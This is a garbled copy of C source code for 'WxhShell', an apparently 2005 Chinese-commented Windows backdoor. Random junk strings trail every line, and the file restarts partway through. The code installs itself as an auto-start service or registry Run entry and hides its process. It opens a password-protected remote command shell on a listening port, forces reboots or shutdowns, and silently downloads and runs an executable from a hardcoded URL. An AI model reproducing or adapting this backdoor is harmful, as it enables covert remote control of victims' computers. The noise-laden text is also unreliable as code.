    closesocket(wsh); Yt&Isi +  
    ExitThread(0); <knf^D<"  
    } `)V1GR2 ES  
    break; ]-[M&i=+&  
    } :T^!<W4  
  // 关机 /(IV+  
  case 'd': { Aq' yr,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < kyT{[e+6  
    if(Boot(SHUTDOWN)) o V"d%ks  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <T]%Gg8  
    else { Xi$( U8J_  
    closesocket(wsh); e R Y2.!  
    ExitThread(0); n@5Sp2p  
    } D4,kGU@  
    break; Qn= 3b:S-  
    } tLCu7%P>  
  // 获取shell BS3Aczwk  
  case 's': { J{>9ctN  
    CmdShell(wsh); \7b-w81M-  
    closesocket(wsh); j"(o>b v7  
    ExitThread(0); "XPBNv\>_  
    break; _)|_KQQu  
  } *+(t2!yFmE  
  // 退出 vHR-mQUs  
  case 'x': { >,c$e' h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S&/</%  
    CloseIt(wsh); O-m=<Fk> D  
    break; q5 eyle6  
    } &L7u//  
  // 离开 WMy97*L<  
  case 'q': { 7AwV4r*:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W|@7I@@$"  
    closesocket(wsh); aq~>$CHa  
    WSACleanup(); Vb{5-v ;a  
    exit(1); zED#+-7  
    break;  )ph**g  
        } 5mzOr4*0  
  } 'Br:f_}  
  } a=ye!CN^  
qHwHP 1  
  // 提示信息 tG8)!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UI:YzR  
} mjgwU8'![  
  } 5>9KW7^L  
`Fn"%P!  
  return; :Y? L*  
} y{ & k`H  
(PVK|Q55y  
// shell模块句柄 WP(+jL^-  
int CmdShell(SOCKET sock) Q?"o.T';  
{ W&M=%  
STARTUPINFO si; !LGnh  
ZeroMemory(&si,sizeof(si)); !Cqm=q{K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ghAC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $H0diwl9R  
PROCESS_INFORMATION ProcessInfo; ( mV*7Z  
char cmdline[]="cmd"; 48}L!m @  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L >* F8|g  
  return 0; 4)]w"z0Pc  
} rbC4/9G\  
$? 'JePC  
// 自身启动模式 Mn)>G36(  
int StartFromService(void) @B.;V=8wJ  
{ bxxazsj^  
typedef struct | aAu 4   
{ r'TxYM-R  
  DWORD ExitStatus; ^{ Kj{M22  
  DWORD PebBaseAddress; l ~bjNhk  
  DWORD AffinityMask; M<Gr~RKmAn  
  DWORD BasePriority; 6CQ.>M:R  
  ULONG UniqueProcessId; m7~<z>5$  
  ULONG InheritedFromUniqueProcessId; 2/*F}w/  
}   PROCESS_BASIC_INFORMATION; ?nVwT[  
XsH(8-n0  
PROCNTQSIP NtQueryInformationProcess; <V> [H7  
cImOZx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tVAWc$3T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WA'&0i4  
.,-,@ZK  
  HANDLE             hProcess; tYe+7s  
  PROCESS_BASIC_INFORMATION pbi; >rbHpLm1`  
\>B$x@-wg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SH oov  
  if(NULL == hInst ) return 0; V XE85  
p3m!Iota  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >M}\_c=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /]xu=q2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rL kUIG  
}Q }&3m~g  
  if (!NtQueryInformationProcess) return 0; -dj9(~?^  
TT85G&#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nZ4JI+Q)~  
  if(!hProcess) return 0; $ 8"we  
/mi9 q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OpNTyKbaD  
S.: m$s  
  CloseHandle(hProcess); qw#wZ'<n  
@yGK $<R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q140b;Z  
if(hProcess==NULL) return 0; J|O=w(  
O^Y}fo'  
HMODULE hMod; AX`>y@I  
char procName[255]; "mbjS(-eg  
unsigned long cbNeeded; .C 6wsmQ  
QU#u5sX A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5B|&+7dCw  
BzVF!<!  
  CloseHandle(hProcess); "e3T;M+  
wqB 5KxO  
if(strstr(procName,"services")) return 1; // 以服务启动 v+), uj  
bNH72gX2Yh  
  return 0; // 注册表启动 (Xak;Xum1  
} Zb \E!>V  
Bq l 5=p  
// 主模块 cC4 2b2+  
int StartWxhshell(LPSTR lpCmdLine) t PJW|wo  
{ *y}<7R  
  SOCKET wsl; a>05Yxw  
BOOL val=TRUE; #mK/xbW  
  int port=0; 4!q4WQ ;  
  struct sockaddr_in door; }L!%^siG_  
Wl29xY}`{!  
  if(wscfg.ws_autoins) Install(); A"Prgf eT  
T#o?@ ;  
port=atoi(lpCmdLine); Y:x,pPyl  
?k 4|;DD  
if(port<=0) port=wscfg.ws_port; !1X^lFf;~  
,m HQ  
  WSADATA data; x5X;^.1Fr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :rdw0EROy  
!vrdu OB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   96VJE,^h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8E/wUN,Lxj  
  door.sin_family = AF_INET; Vgj&h dbd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zXEu3h  
  door.sin_port = htons(port); ]Qu.-F#g  
O(_a6s+m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 342m=7lK  
closesocket(wsl); I7S#vIMXR.  
return 1; *GGiSt  
} ytDp 4x<W)  
e@`"V,i  
  if(listen(wsl,2) == INVALID_SOCKET) { Miw*L;u@W  
closesocket(wsl); 1DTA Dh0  
return 1; qH8d3?1XO  
} ./KXElvQ%  
  Wxhshell(wsl); `Z' h[-2`  
  WSACleanup(); QAk.~ ob  
<mk'n6B  
return 0; yu~o9  
<'N(`.&3C  
} W5f|#{&L:  
(b*PDhl`+  
// 以NT服务方式启动 $;V?xZm[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q!OB?03n  
{ ! D \u2h  
DWORD   status = 0; Ofm?`SE*|  
  DWORD   specificError = 0xfffffff; hi.` O+;  
h,!#YG@>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &yabxl_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -aV!ZODt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m 4r!Ck|  
  serviceStatus.dwWin32ExitCode     = 0; P{gGvC,  
  serviceStatus.dwServiceSpecificExitCode = 0; sN_c4"\q  
  serviceStatus.dwCheckPoint       = 0; CD"D^\z  
  serviceStatus.dwWaitHint       = 0; tx9;8K3  
}j_2K1NS{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `zw^ WbCO{  
  if (hServiceStatusHandle==0) return; C@ns`Eh8w  
*^@{LwY\M  
status = GetLastError(); "{@Q..hxC  
  if (status!=NO_ERROR) &| guPZ  
{ :ot^bAyt|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q\r@x-&g+  
    serviceStatus.dwCheckPoint       = 0; _[:>!ekx  
    serviceStatus.dwWaitHint       = 0;  A|90Ps  
    serviceStatus.dwWin32ExitCode     = status; *pP&$!bH%  
    serviceStatus.dwServiceSpecificExitCode = specificError; *i)3q+%.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %RS~>pK1  
    return; YR? ujN  
  } F3Y/Miw  
#sRkKl|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s-[v[w'E  
  serviceStatus.dwCheckPoint       = 0; ~TvKMW6/#  
  serviceStatus.dwWaitHint       = 0; p3q >a<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CBrC   
} ;J&p17~T9  
kM;fxR:-  
// 处理NT服务事件,比如:启动、停止 ?\.DG`Zxc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @}oY6cW;B*  
{ %0MvCm  
switch(fdwControl) [WXa]d5Y  
{ |vUjoa'.7E  
case SERVICE_CONTROL_STOP: i .GJO +K  
  serviceStatus.dwWin32ExitCode = 0; :5DL&,,Q3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j YVR"D;  
  serviceStatus.dwCheckPoint   = 0; =uil3:,[S  
  serviceStatus.dwWaitHint     = 0; dR|*VT\  
  { \YZ7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f$|AU- |<  
  }  d  H ;  
  return; :g~X"C1s  
case SERVICE_CONTROL_PAUSE: /qwl;_Jcf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [~v1  
  break; KM:k<pvi  
case SERVICE_CONTROL_CONTINUE: 6M^NZ0~J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z^z,_?q;  
  break; ~^<1k-  
case SERVICE_CONTROL_INTERROGATE: B(t`$mC  
  break; [zsUboCkc  
}; ,CED%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vLT$oiN[c  
} tM DJ,rT  
r Y#^C  
// 标准应用程序主函数 q?0&&"T}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AL{r/h  
{ eR|u']Em>T  
]Dd}^khv  
// 获取操作系统版本 ?igA+(.  
OsIsNt=GetOsVer(); UfxY D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Muay6b?  
`iZ){JfAH  
  // 从命令行安装 @ i*It Hk  
  if(strpbrk(lpCmdLine,"iI")) Install(); {4^NZTjd@  
[~Vj(H=KwI  
  // 下载执行文件 # KgDOCQH  
if(wscfg.ws_downexe) { (ptk!u6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aUYq~E tj  
  WinExec(wscfg.ws_filenam,SW_HIDE); IZSJ+KO  
} /3KPK4!m  
CY</v,\:#  
if(!OsIsNt) { NjH` AMGBT  
// 如果时win9x,隐藏进程并且设置为注册表启动 */)O8`}2  
HideProc(); f=T-4Of  
StartWxhshell(lpCmdLine); 8_=MP[(H  
} m4_ZGjmJM  
else `P *wz<  
  if(StartFromService()) IY40d^x  
  // 以服务方式启动 (kmrWx= $  
  StartServiceCtrlDispatcher(DispatchTable); 6 6C_XT  
else 8~j1  
  // 普通方式启动 DcRvZH  
  StartWxhshell(lpCmdLine); m'PU0x  
zXZXp~7)  
return 0; {g7~e {2  
} ?8-ho0f0  
8Xx4W^*_  
H#:Aby-d}  
^|UD&6 dx  
=========================================== =OamN7V=  
r0/aw  
q(\kCUy!  
n%K^G4k^  
l>*L Am5  
vX}#wDNP  
" A/sM ?!p>_  
W4p4[&c|  
#include <stdio.h> ngOGo =  
#include <string.h> YLv5[pV  
#include <windows.h> ,lDOo+eE%:  
#include <winsock2.h> `q m$2  
#include <winsvc.h> !6FO[^h||H  
#include <urlmon.h> $!7$0WbC  
k*K.ZS688  
#pragma comment (lib, "Ws2_32.lib") S1a6uE  
#pragma comment (lib, "urlmon.lib") U W' @3#<?  
@iBaJ"*,  
#define MAX_USER   100 // 最大客户端连接数 v(P5)R,  
#define BUF_SOCK   200 // sock buffer cD ?'lB-  
#define KEY_BUFF   255 // 输入 buffer Oh5aJ)"D  
c&'5r OY~  
#define REBOOT     0   // 重启 #<DS-^W!  
#define SHUTDOWN   1   // 关机 i\dd  
![&9\aH  
#define DEF_PORT   5000 // 监听端口 S*V!t=  
~cul;bb#  
#define REG_LEN     16   // 注册表键长度 yY_#fJj  
#define SVC_LEN     80   // NT服务名长度   bKt4  
qF Xx/FZ  
// 从dll定义API 3c+ps;nh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UsgrI>|l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \: Q)X$6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p:zRgwcn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5;X r0f  
a5?Yh<cJ  
// wxhshell配置信息 7O,!67+^~  
struct WSCFG { g\1|<jb3  
  int ws_port;         // 监听端口 d' l|oeS  
  char ws_passstr[REG_LEN]; // 口令 R(f6uO!m  
  int ws_autoins;       // 安装标记, 1=yes 0=no R$bDj >8  
  char ws_regname[REG_LEN]; // 注册表键名 y I}>  
  char ws_svcname[REG_LEN]; // 服务名 <>H^:iqn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \V T.bUs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yof8LWXx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YySo%\d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1D1qOg"LE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dP?QPky{9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1s.>_  
$|t={s34  
}; N(%(B  
p8j*m~4B  
// default Wxhshell configuration \. a7F4h  
struct WSCFG wscfg={DEF_PORT, }$b!/<7FD  
    "xuhuanlingzhe", +K?sg;  
    1, <c$rfjM+JU  
    "Wxhshell", }/QtIY#I  
    "Wxhshell", 4UHviuOo8  
            "WxhShell Service", xdh%mG:?  
    "Wrsky Windows CmdShell Service", )E m`kle  
    "Please Input Your Password: ", NAOCQDk{  
  1, pKU(4&BxX  
  "http://www.wrsky.com/wxhshell.exe", /[!<rhY  
  "Wxhshell.exe" _& r19pY  
    }; *U- :2uf  
n`V?n  
// 消息定义模块 5A+@xhRf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -$$mrU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "^)GnK +-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t N4-<6  
char *msg_ws_ext="\n\rExit."; Yl =-j  
char *msg_ws_end="\n\rQuit."; R_b4S%jhx  
char *msg_ws_boot="\n\rReboot..."; }WhRJr`a  
char *msg_ws_poff="\n\rShutdown..."; i,t!17M:  
char *msg_ws_down="\n\rSave to "; ]Y@_2`  
fL*+[v4  
char *msg_ws_err="\n\rErr!"; }R/we`  
char *msg_ws_ok="\n\rOK!"; ]Ljb&*IEj  
&G?"I%Vw  
char ExeFile[MAX_PATH]; nu Vux5:  
int nUser = 0; %cBOi_}}~  
HANDLE handles[MAX_USER]; zB/VS_^^W:  
int OsIsNt; iCCe8nK  
\01 kK)  
SERVICE_STATUS       serviceStatus; C DoD9Hq,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #M4LG; B  
4sW'pH  
// 函数声明 ;NE4G;px4<  
int Install(void); 8nWPt!U:  
int Uninstall(void); Uf MQ?(,  
int DownloadFile(char *sURL, SOCKET wsh); )5n:UD{f[#  
int Boot(int flag); yL),G*[p\}  
void HideProc(void); p5% %k-  
int GetOsVer(void); /;{L~f=et)  
int Wxhshell(SOCKET wsl); %hlgLM  
void TalkWithClient(void *cs); 62MQ+H  
int CmdShell(SOCKET sock); e7bMK<:r  
int StartFromService(void); [4aw*M1z}.  
int StartWxhshell(LPSTR lpCmdLine); eoXbZ  
S^ D7}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yPY{ZADkQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &SNH1b#>E  
z`.<dNg  
// 数据结构和表定义 Ke=+D'=  
SERVICE_TABLE_ENTRY DispatchTable[] = }!?RB v'W  
{ luyu7`  
{wscfg.ws_svcname, NTServiceMain}, 9|[uie  
{NULL, NULL} .<Jv=  
}; NqGSoOjIO2  
k2tSgJW  
// 自我安装 h&n1}W+  
int Install(void) LAY:R{vI  
{ MT:VQ>f C  
  char svExeFile[MAX_PATH]; FD&^nJ_{  
  HKEY key; z@w}+fYO  
  strcpy(svExeFile,ExeFile); ]T)<@bmL  
4Gh\T`=  
// 如果是win9x系统,修改注册表设为自启动 4=EA3`l  
if(!OsIsNt) { ek U%^R<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # 5U1F[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Lk(G9CoY  
  RegCloseKey(key); rZcSG(d`53  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >fth iA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }S3  oX$  
  RegCloseKey(key); 3"< 0_3?W  
  return 0; biBMd(6  
    } u`.)O2)xU  
  } Sk1t~  
} So8 Dwz?  
else { Pqw<nyC.  
}ijQ*ECdl  
// 如果是NT以上系统,安装为系统服务 \G7F/$g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DW78SoyedZ  
if (schSCManager!=0) 7S&$M-k  
{ `'sD(e  
  SC_HANDLE schService = CreateService %[s%H)e)  
  ( "tl$JbRTY  
  schSCManager, b GI){0A  
  wscfg.ws_svcname, yjMN>L'  
  wscfg.ws_svcdisp, ?@;)2B|q  
  SERVICE_ALL_ACCESS, {j;` wN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q<! -Anc  
  SERVICE_AUTO_START, <Z<meB[g  
  SERVICE_ERROR_NORMAL, Gyy4zK  
  svExeFile, hjM?D`5x  
  NULL, P\<:.8@$S  
  NULL, yz=X{p1  
  NULL, .-/IV^lGv  
  NULL, <F(2D<d{;)  
  NULL /*k_`3L  
  ); 3 V>$H\H  
  if (schService!=0) pr7lm5  
  { *o4a<.hd2  
  CloseServiceHandle(schService); LX oJw$C  
  CloseServiceHandle(schSCManager); Bf;_~1+vLG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /e?0Iv" 8>  
  strcat(svExeFile,wscfg.ws_svcname); S#v3%)R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ r(My}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PnaiSt9p?r  
  RegCloseKey(key); RR ^7/-  
  return 0; rzn,N FI  
    } la_c:#ho  
  } 4C%pKV  
  CloseServiceHandle(schSCManager); 3B 'j?+A  
} ) y;7\-K0  
} )"6-7ii7(f  
$ P?^GB>u  
return 1; y^}u L|=  
} /\h*v!:  
O^row1D_  
// 自我卸载 j]<K%lwp  
int Uninstall(void) %kV7 <:y  
{ S#y[_C?H  
  HKEY key; O.ce=E  
@r/~Y]0Ye5  
if(!OsIsNt) { \rzMgR$/rj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CssE8p>"F  
  RegDeleteValue(key,wscfg.ws_regname); 6X%g-aTs  
  RegCloseKey(key); aE 9Y |6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X(*O$B{ R  
  RegDeleteValue(key,wscfg.ws_regname); `w\P- q  
  RegCloseKey(key); 1VlU'qY  
  return 0; tMX$8W0 c  
  } z_fjmqa?  
} ;VAyH('~  
} 8mKp PwG0  
else { ~8u *sy  
UWvVYdy7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dM^Z,; u  
if (schSCManager!=0) ;ISnI  
{ ~;#}aQYo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eOE*$pH  
  if (schService!=0) ~BmA!BZV`  
  { zZ8*a\  
  if(DeleteService(schService)!=0) { *??lwvJp  
  CloseServiceHandle(schService); SI+Uq(k  
  CloseServiceHandle(schSCManager); wqF?o  
  return 0; Nb`qM]&  
  } n%7?G=_kj  
  CloseServiceHandle(schService); @nY]S\if  
  } <SI|)M,, 3  
  CloseServiceHandle(schSCManager); HT.*r6Y>g  
} 2]]v|Z2M4  
} \xCCJWek  
nOL"6%q  
return 1; ezp%8IZ;  
} ,dCEy+  
gYc]z5`  
// 从指定url下载文件 QH9t |l  
int DownloadFile(char *sURL, SOCKET wsh) j,+]tHC-  
{ Q7$o&N{  
  HRESULT hr; Wjw ,LwB  
char seps[]= "/"; :]m.&r S,  
char *token; ^ U*y*l$  
char *file; +SH{`7r  
char myURL[MAX_PATH]; Q,&Li+u|  
char myFILE[MAX_PATH]; w31Ox1>s  
rTIu'  
strcpy(myURL,sURL); 0+*NHiH  
  token=strtok(myURL,seps); {7OHEArv  
  while(token!=NULL) EJ9hgE  
  { i.vH$  
    file=token; 3 c=kYcj  
  token=strtok(NULL,seps); "0P`=n  
  } 9qB0F_xl  
S' j g#*$  
GetCurrentDirectory(MAX_PATH,myFILE); vt|R)[,  
strcat(myFILE, "\\"); TmQIpeych  
strcat(myFILE, file); ##7y|AwK  
  send(wsh,myFILE,strlen(myFILE),0); 6:7[>|okQ  
send(wsh,"...",3,0); E+]9!fDy<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lD/9:@q\V  
  if(hr==S_OK) k2U*dn"9U  
return 0; !mmMAsd,  
else W&?Qs=@  
return 1; 147QB+cE  
<W"W13*j!  
} !qt2,V  
]dpL PR  
// 系统电源模块 2X?GEO]/4  
int Boot(int flag) M6)  G_-  
{ -Uwxmy+  
  HANDLE hToken; ;.A}c)b  
  TOKEN_PRIVILEGES tkp; ]%' AZ`8  
AI-*5[w#A  
  if(OsIsNt) { 0ns\:2)cEB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *2G6Q g F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d~LoHp  
    tkp.PrivilegeCount = 1; lK0ny>RB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .,bpFcQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HEF e?  
if(flag==REBOOT) { zR"c j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {>f"&I<xw  
  return 0; pH1!6X  
} k{}> *pCU  
else { 1qRquY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4<y   
  return 0; e8F]m`{_"  
} |kYlh5/c d  
  } 9L=mS  
  else { q&3 ;e4  
if(flag==REBOOT) { 53HA6:Q[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EuK}L[Kl  
  return 0; ?[ xgt )  
} S /hx\TzC  
else { B/twak\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (Rw<1q`,  
  return 0; T8XrmR&?PX  
} G{U#9   
} 36 "n7  
".?4`@7F\  
return 1; |N.2iN:  
} b6D;98p  
VW-qQe  
// win9x进程隐藏模块 fF@w:;u  
void HideProc(void) k^J8 p#`6  
{ I Dohv[#  
"4N&T#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z>hTL_|]a{  
  if ( hKernel != NULL ) sy: xA w  
  { wZqYtJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ez3fL&*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -$Oh.B`i  
    FreeLibrary(hKernel); F-_u/C]  
  } 1Cr&6't  
50,'z?-_  
return; F2"fOS  
} E }L Hp  
@-U\!Tf  
// 获取操作系统版本 HQqFrR  
int GetOsVer(void) J<$@X JLS  
{ AZj&;!}  
  OSVERSIONINFO winfo; 3$|/7(M&DA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =rjU=3!&(  
  GetVersionEx(&winfo); E/;t6& 6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Un?|RF  
  return 1; H>~CL  
  else LrB 0x>  
  return 0; dWAt#xII  
} @X==[gQ  
MmF&jd-=  
// 客户端句柄模块 e4z`:%vy  
int Wxhshell(SOCKET wsl) 6Yu:v  
{ Obs#2>h  
  SOCKET wsh; b8mH.g&l  
  struct sockaddr_in client; J'44j;5&  
  DWORD myID; J9^NHU  
;%tFi  
  while(nUser<MAX_USER) E C#0-,z  
{ kDmm  
  int nSize=sizeof(client); _$~>O7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TW|K.t@5#H  
  if(wsh==INVALID_SOCKET) return 1; Vk2$b{VdF  
V9c.(QY|f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #<{v~sVp&  
if(handles[nUser]==0) 2t= = <x  
  closesocket(wsh); `#""JTA"  
else oC0ndp~+&  
  nUser++; N\{"&e  
  } |iM,bs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y_Yf'z1>[  
6o't3Peh  
  return 0; c-w #`  
} \8vP"Kr  
?ZF):}r vZ  
// 关闭 socket 6v`3/o  
void CloseIt(SOCKET wsh) Lqgrt]L_"  
{ {j2V k)\[i  
closesocket(wsh); ZW4f "  
nUser--; #QNN;&L]R  
ExitThread(0); %:3XYO.w-  
} dGKo!;7{  
3j7FG%\  
// 客户端请求句柄 u`MM K4 %  
void TalkWithClient(void *cs) q*I*B1p[m  
{ q}U+BTCZ  
L2H  
  SOCKET wsh=(SOCKET)cs; (r|m&/  
  char pwd[SVC_LEN]; nrac )W  
  char cmd[KEY_BUFF]; qTsy'y;Z  
char chr[1]; DDE-$)lf>  
int i,j; z.Cj%N  
kR=sr/{  
  while (nUser < MAX_USER) { #asg5 }  
VD=H=Ju  
if(wscfg.ws_passstr) { F#Lo^ 8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <4}m:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >kXscbRL7  
  //ZeroMemory(pwd,KEY_BUFF); 0jTReY-W  
      i=0; l=?e0d>O  
  while(i<SVC_LEN) { zxR]+9Zh  
pz%s_g'  
  // 设置超时 :=Olp;+_  
  fd_set FdRead; cBxGGggB  
  struct timeval TimeOut; 9q'9i9/3d  
  FD_ZERO(&FdRead); *HoRYCL  
  FD_SET(wsh,&FdRead); )/RG-L  
  TimeOut.tv_sec=8; nCQtn%j't  
  TimeOut.tv_usec=0; /7}pReUj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z,,"yVk`,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s6H.Q$3L  
T$;S   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bP18w0>,  
  pwd=chr[0]; (/:m*x*6  
  if(chr[0]==0xd || chr[0]==0xa) { &'uP?r9c$  
  pwd=0; "6B@V=d  
  break; o[Ffa# sE  
  } 8t!jo.g  
  i++; H/o_?qK  
    } :>FN|fz  
q5;dQ8Y ?  
  // 如果是非法用户,关闭 socket x^ `/&+m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K(;qd Ir  
} PUR,r%K`  
M}8P _<,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X4%uY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h>pu^ `hk  
UoxlEec  
while(1) { qo [[P)tq  
Pe<VPf9+  
  ZeroMemory(cmd,KEY_BUFF); Wga2).j6  
j_<qnBeQ  
      // 自动支持客户端 telnet标准   T5:Q_o]  
  j=0; XvI~"}  
  while(j<KEY_BUFF) { +>PsQ^^x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1jKpLTSs  
  cmd[j]=chr[0]; ?I+{S  
  if(chr[0]==0xa || chr[0]==0xd) { ~.T|n =  
  cmd[j]=0; 5} %R  
  break; 2 7)If E  
  } =@U5/J  
  j++; "rB B&l  
    } C^ZoYf8+"m  
}m+Q(2  
  // 下载文件 A4zI1QF  
  if(strstr(cmd,"http://")) { '8 .JnCg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m7^f%<l  
  if(DownloadFile(cmd,wsh)) J _rrc;F  
